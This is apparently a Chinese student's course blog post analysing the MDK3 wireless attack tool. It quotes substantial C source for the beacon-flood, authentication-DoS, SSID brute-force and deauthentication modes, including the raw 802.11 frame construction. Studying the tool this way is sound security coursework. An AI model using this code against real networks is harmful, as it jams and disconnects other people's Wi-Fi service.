前言
无线网络安全课的选题,我们组选得是无线网络恶意分析,然后我们最后选择的课题是MDK3工具的利用和分析,我的部分是分析MDK3的源码
在这里我要吐槽一下这个代码,缩进没有层次上的区分,再加上处理参数时用了大量的if-else结构和switch case,整个代码可读性基本就是一个差字,
而且处理参数为何不用getopt啊。。。
main()函数分析
大概截取一部分main()
函数代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| switch (argv[2][0]) { case 'b': printf(use_beac); break; case 'a': printf(use_auth); break; case 'p': printf(use_prob); break; case 'd': printf(use_deau); break; case 'm': printf(use_mich); break; case 'x': printf(use_eapo); break; case 'w': printf(use_wids); break; case 'f': printf(use_macb); break; case 'g': printf(use_wpad); break; default: printf(use_head); } _wi_out = wi_open(argv[1]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); _wi_in = _wi_out; dev.fd_in = dev.fd_out; dev.arptype_in = dev.arptype_out; setuid( getuid() ); int retval = mdk_parser(argc, argv); return( retval );
|
main()
函数初步的解析了程序运行的参数,参数不对的话打出对应的help,然后传给mdk_parser()
进行进一步处理
同样的截取一部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| switch (argv[2][0]) { case 'b': mode = 'b'; usespeed = 1; for (t=3; t<argc; t++) { if (! strcmp(argv[t], "-n")) if (argc > t+1) ssid = argv[t+1]; if (! strcmp(argv[t], "-f")) if (argc > t+1) { if (ssid_file_name == NULL) ssid_file_name = argv[t+1]; else { printf(use_beac); return -1; } } if (! strcmp(argv[t], "-v")) if (argc > t+1) { if (ssid_file_name == NULL) { ssid_file_name = argv[t+1]; adv=1; } else { printf(use_beac); return -1; } } if (! strcmp(argv[t], "-s")) if (argc > t+1) pps = strtol(argv[t+1], (char **) NULL, 10); if (! strcmp(argv[t], "-c")) if (argc > t+1) fchan = strtol(argv[t+1], (char **) NULL, 10); if (! strcmp(argv[t], "-h")) mode = 'B'; if (! strcmp(argv[t], "-m")) random_mac = 0; if (! strcmp(argv[t], "-w")) wep = 1; if (! strcmp(argv[t], "-g")) gmode = 1; if (! strcmp(argv[t], "-t")) wep = 2; if (! strcmp(argv[t], "-a")) wep = 3; if (! strcmp(argv[t], "-d")) adhoc = 1; }
|
getopt到底有啥不好的。。。非得这么麻烦
这里mode为b时使用的是beacon模式,用起来就是同时产生大量的fake ap,干扰用户的正常通信
这个工具还有强制认证解除模式,验证请求DOS攻击,探测AP爆破ESSID等,之后再讲
Beacon模式
parser()
函数对该模式的处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| case 'B': if ((nb_sent % 30 == 0) || (total_time % 3 == 0)) { if (fchan) { set_channel(fchan); chan = fchan; } else { chan = generate_channel(); set_channel(chan); } } frm = create_beacon_frame(ssid, chan, wep, random_mac, gmode, adhoc, adv); break; case 'b': if (fchan) chan = fchan; else chan = generate_channel(); frm = create_beacon_frame(ssid, chan, wep, random_mac, gmode, adhoc, adv); break;
|
大写的B就是指定特定信道的时候用,我们来看一下create_beacon_frame()
函数用到的几个变量
1 2 3 4 5 6 7 8
| char *hdr = "\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x64\x00\x05\x00\x00"; char *param2 = "\x04\x06\x01\x02\x00\x00\x00\x00\x05\x04\x00\x01\x00\x00"; char *wpatkip = "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x00\x00"; char *wpaaes = "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x02\x00\x00";
|
这些数据视情况写到要发送的数据包里面
1 2 3 4 5 6 7 8 9 10
| if(gmode) { memcpy(¶m1, "\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c\x03\x01", 12); modelen = 12; } else { memcpy(¶m1, "\x01\x04\x82\x84\x8b\x96\x03\x01", 8); modelen = 8; }
|
这里根据是否使用54Mbit模式向param1写入不同信息,最后param1会写入要发送的数据包中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if (advanced) { ssid = fakeap.ssid; } else { if (!(ssid_file_name == NULL)) ssid = read_line_from_file(); } if (ssid == NULL) ssid = generate_ssid(); slen = strlen(ssid); if (slen>32 && showssidwarn1) { printf("\rWARNING! Sending non-standard SSID > 32 bytes\n"); showssidwarn1 = 0; } if (slen>255) { if (showssidwarn2) { printf("\rWARNING! Truncating overlenght SSID to 255 bytes!\n"); showssidwarn2 = 0; } slen = 255; }
|
这里是生成fake ap的SSID,如果有指定就从文件中读取,如果没有就使用generate_ssid()
函数随机生成,之后进行SSID合法性检查
1 2 3 4 5 6 7 8 9 10 11
| // Setting up header memcpy(pkt, hdr, 36); // Set mode and WEP bit if wanted if(adhoc) { if(wep) pkt[34]='\x12'; else pkt[34]='\x02'; } else { if(wep) pkt[34]='\x11'; else pkt[34]='\x01'; }
|
这里设置数据包头部,根据是否使用WEP模式来设置数据包中相应的数据
1 2 3 4 5 6 7
| if (advanced) { mac.data = (uchar *) fakeap.mac; } else { if (random_mac) mac = generate_mac(0); else mac = generate_mac(2); }
|
这里是生成fake ap的MAC,如果有指定就从文件中读取,如果没有就使用generate_mac()
函数随机生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| memcpy(pkt+10, mac.data, ETH_MAC_LEN); memcpy(pkt+16, mac.data, ETH_MAC_LEN); pkt[37] = (uchar) slen; memcpy(pkt+38, ssid, slen); memcpy(pkt+38+slen, param1, modelen); pkt[38+slen+modelen] = chan; memcpy(pkt+39+slen+modelen, param2, 14); if(wep == 2) { memcpy(pkt+53+slen+modelen, wpatkip, 26); modelen += 26; } else if(wep == 3) { memcpy(pkt+53+slen+modelen, wpaaes, 26); modelen += 26; } retn.data = pkt; retn.len = slen+53+modelen; return retn;
|
设置数据包最后的容,根据需要指定加密模式,最后返回数据包给parser()
函数
1 2 3 4 5 6 7
| if (frm.len < 10) printf("WTF?!? Too small packet injection detected! BUG!!!\n"); send_packet(frm.data, frm.len); nb_sent_ps++; nb_sent++; if (useqosexploit) { nb_sent_ps += 3; nb_sent += 3; }
|
发送数据包
验证DOS攻击模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| case 'a': mode = 'a'; for (t=3; t<argc; t++) { if (! strcmp(argv[t], "-a")) { if (! argc > t+1) { printf(use_auth); return -1; } ap = (uchar *) parse_mac(argv[t+1]); mode = 'A'; } if (! strcmp(argv[t], "-i")) { if (! argc > t+1) { printf(use_auth); return -1; } target = (uchar *) parse_mac(argv[t+1]); mode = 'i'; usespeed = 1; pps = 500; } if (! strcmp(argv[t], "-c")) check = 1; if (! strcmp(argv[t], "-m")) random_mac = 0; if (! strcmp(argv[t], "-s")) if (argc > t+1) { pps = strtol(argv[t+1], (char **) NULL, 10); usespeed = 1; } } break;
|
这里可以看出我们可以设置是否指定特定的AP,是否要返回测试结果,发包频率等参数
1 2 3 4 5 6 7 8 9
| case 'a': if ((nb_sent % 512 == 0) || (total_time % 30 == 0)) { printf ("\rTrying to get a new target AP... \n"); ap = get_target_ap(); } case 'A': frm = create_auth_frame(ap, random_mac, NULL); break;
|
这里就是验证DOS模式的主逻辑了,get_target_ap()
获取目标, create_auth_frame()
生成验证数据包,我们先看get_target_ap()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| uchar *get_target_ap() { int len = 0; int t, u, known; uchar rnd; keep_waiting: for (t=0; t<100; t++) { len = 0; while (len < 22) len = read_packet(pkt_sniff, 4096); known = 0; if (! memcmp(pkt_sniff, "\x80", 1)) { for (u=0; u<aps_known_count; u++) { if (! memcmp(aps_known[u], pkt_sniff+16, 6)) { known = 1; break; } } if (! known) { memcpy(aps_known[aps_known_count], pkt_sniff+16, ETH_MAC_LEN); aps_known_count++; if ((unsigned int) aps_known_count >= sizeof (aps_known) / sizeof (aps_known[0]) ) { fprintf(stderr, "exceeded max aps_known\n"); exit (1); } return pkt_sniff+16; } } } if (aps_known_count == 0) goto keep_waiting; rnd = random() % aps_known_count; return (uchar *) aps_known[rnd]; }
|
这里可以发现,程序将读取数据包的第一个字节与\x80
进行比较,可以发现这个位置的数据是用来标记数据包是否为信号数据包,
这里就是不断的读取数据寻找AP,其中read_packet()
是来自osdep的一个API,mdk3和aircrack都是基于它开发的
这里是不断寻找新的AP,找到了就和已知的AP进行比对,如果已经存在就跳过,直到寻找到新的AP为止
现在来看一下create_auth_frame()
函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| struct pckt create_auth_frame(uchar *ap, int random_mac, uchar *client_mac) { struct pckt retn; char *hdr = "\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"; struct pckt mac; memcpy(pkt, hdr, 31); memcpy(pkt+4, ap, ETH_MAC_LEN); memcpy(pkt+16,ap, ETH_MAC_LEN); if (client_mac == NULL) { if (random_mac) mac = generate_mac(0); else mac = generate_mac(1); memcpy(pkt+10,mac.data,ETH_MAC_LEN); } else { memcpy(pkt+10,client_mac,ETH_MAC_LEN); } retn.len = 30; retn.data = pkt; return retn; }
|
这里其实就是简单的根据参数设置数据包的内容,和之前的beacon模式大同小异,最终生成的数据包会返回到parser()
函数进行发包操作
探测AP及ESSID爆破
1 2 3 4 5 6 7 8 9 10 11
| case 'p': mac = generate_mac(1); frm = create_probe_frame(ssid, mac); break; case 'P': if (real_brute) { frm = ssid_brute_real(); } else { frm = ssid_brute(); } break;
|
这里出现了两个分支,和上个模式一样根据参数决定,先看小写p代表的模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| struct pckt create_probe_frame(char *ssid, struct pckt mac) { struct pckt retn; char *hdr = "\x40\x00\x00\x00\xff\xff\xff\xff\xff\xff"; char *bcast = "\xff\xff\xff\xff\xff\xff"; char *seq = "\x00\x00\x00"; char *rates = "\x01\x04\x82\x84\x8b\x96"; int slen; slen = strlen(ssid); memcpy(pkt, hdr, 10); memcpy(pkt+10, mac.data, ETH_MAC_LEN); memcpy(pkt+16, bcast, ETH_MAC_LEN); memcpy(pkt+22, seq, 3); pkt[25] = slen; memcpy(pkt+26, ssid, slen); memcpy(pkt+26+slen, rates, ETH_MAC_LEN); retn.data = pkt; retn.len = 26 + slen + ETH_MAC_LEN; return retn; }
|
同样的,这里设置了要发送的数据包内容,mac地址随机生成,需要探测的SSID则由用户给出
现在来看大写P的模式,另一个模式用于爆破可能存在的SSID,现在看看对应函数ssid_brute_real()
的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| if (state == 0) { pthread_create( &sniffer, NULL, (void *) ssid_brute_sniffer, (void *) 1); if (target != NULL) { pkt = get_target_ssid(); ssid_len = pkt.len; if ((ssid_len == 1) || (ssid_len == 0)) { ssid_len = 1; unknown_len = 1; } state = 1; return create_probe_frame((char *)pkt.data, generate_mac(1)); } state = 1; }
|
这里先是开启了新的线程,调用ssid_brute_sniffer()
函数探测可能存在的SSID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| void ssid_brute_sniffer() { printf("Sniffer thread started\n"); int len=0; int i; int no_disp; //infinite loop while (1) { //sniff packet len = read_packet(pkt_check, MAX_PACKET_LENGTH); //is probe response? if (! memcmp(pkt_check, "\x50", 1)) { //parse + print response uchar *mac = pkt_check+16; uchar slen = pkt_check[37]; pkt_check[38+slen] = '\x00'; no_disp = 0; for (i=0; i<aps_known_count; i++) { if (!memcmp(aps_known[i], mac, ETH_MAC_LEN)) no_disp = 1; } if (!exit_now && !no_disp) { printf("\nGot response from %02X:%02X:%02X:%02X:%02X:%02X, SSID: \"%s\"\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], pkt_check+38); printf("Last try was: %s\n", brute_ssid); } if (!no_disp) { memcpy(aps_known[aps_known_count], mac, ETH_MAC_LEN); aps_known_count++; if ((unsigned int) aps_known_count >= sizeof (aps_known) / sizeof (aps_known[0]) ) { fprintf(stderr, "exceeded max aps_known\n"); exit (1); } } //If response is from target, exit mdk3 if (target != NULL) { if (!memcmp(pkt_check+16, target, ETH_MAC_LEN)) { exit_now = 1; } } } //loop } }
|
对应函数ssid_brute_real()
的另一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| if (state == 1) { bruteforce_ssid(); ssid = brute_ssid; if (end) { if (unknown_len) { printf("\nAll %d possible SSIDs with length %d sent, trying length %d.\n", turns-1, ssid_len, ssid_len+1); end = 0; turns = 0; memset(brute_ssid, 0, (256 * sizeof(char))); ssid_len++; } else { if (max_permutations) printf("\nall %d possible SSIDs sent.\n", turns-1); else printf("\nall %d possible SSIDs sent.\n", max_permutations); exit_now = 1; } } return create_probe_frame(ssid, generate_mac(1)); } return pkt;
|
这里则是爆破生成SSID进行探测,还有另外一个ssid_brute()
函数则是从文件中读取要爆破的SSID
强制断开验证
1 2 3
| case 'd': frm = amok_machine(list_file); break;
|
这个模式下会不断的发送断开验证的数据包,强制瘫痪掉一部分无线网络
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| case 'd': mode = 'd'; for (t=3; t<argc; t++) { if (! strcmp(argv[t], "-s")) if (argc > t+1) { pps = strtol(argv[t+1], (char **) NULL, 10); usespeed = 1; } if (! strcmp(argv[t], "-w")) if (argc > t+1) { if (wblist != 0) { printf(use_deau); return -1; } load_whitelist(argv[t+1]); list_file = argv[t+1]; wblist = 1; } if (! strcmp(argv[t], "-b")) if (argc > t+1) { if (wblist != 0) { printf(use_deau); return -1; } load_whitelist(argv[t+1]); list_file = argv[t+1]; wblist = 2; } if (! strcmp(argv[t], "-c")) { if (argc > t+1) { init_channel_hopper(argv[t+1], 3); } else { init_channel_hopper(NULL, 3); } } }
|
这里可以看出这个模式支持白名单,指定发包速率和指定信道
现在我们看看所使用的amok_machine()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| case 0: newone: if (wblist) { //Periodically re-read list every LIST_REREAD_PERIOD sec. if (t_prev == 0) { printf("Periodically re-reading blacklist/whitelist every %d seconds\n\n", LIST_REREAD_PERIOD); } if (time(NULL) - t_prev >= LIST_REREAD_PERIOD) { t_prev = time( NULL ); load_whitelist(filename); } } pkt_amok = get_target_deauth(); if ((pkt_amok[1] & '\x01') && (pkt_amok[1] & '\x02')) { // WDS packet mac_sa = pkt_amok + 4; mac_ta = pkt_amok + 10; wds = 1; } else if (pkt_amok[1] & '\x01') { // ToDS packet mac_ta = pkt_amok + 4; mac_sa = pkt_amok + 10; wds = 0; } else if (pkt_amok[1] & '\x02') { // FromDS packet mac_sa = pkt_amok + 4; mac_ta = pkt_amok + 10; wds = 0; } else if ((!(pkt_amok[1] & '\x01')) && (!(pkt_amok[1] & '\x02'))) { //AdHoc packet mac_sa = pkt_amok + 10; mac_ta = pkt_amok + 16; wds = 0; } else { goto newone; } if (wblist == 2) { //Using Blacklist mode - Skip if neither Client nor AP is in list if (!(is_whitelisted(mac_ta)) && !((is_whitelisted(mac_sa)))) goto newone; } if (wblist == 1) { //Using Whitelist mode - Skip if Client or AP is in list if (is_whitelisted(mac_ta)) goto newone; if (is_whitelisted(mac_sa)) goto newone; } state = 1; return create_deauth_frame(mac_ta, mac_sa, mac_ta, 1);
|
这里指代的是默认的case,主要是根据黑白名单过滤掉相应的mac地址,然后再设置数据包内容,其他case大同小异,细节不同而已
总结
MDK3其实还有其他很多有趣的功能,也有很多值得我们去分析,整个MDK3.c大概4K行,我可能看了大概不到一半,还是有很多东西值得我们去深究的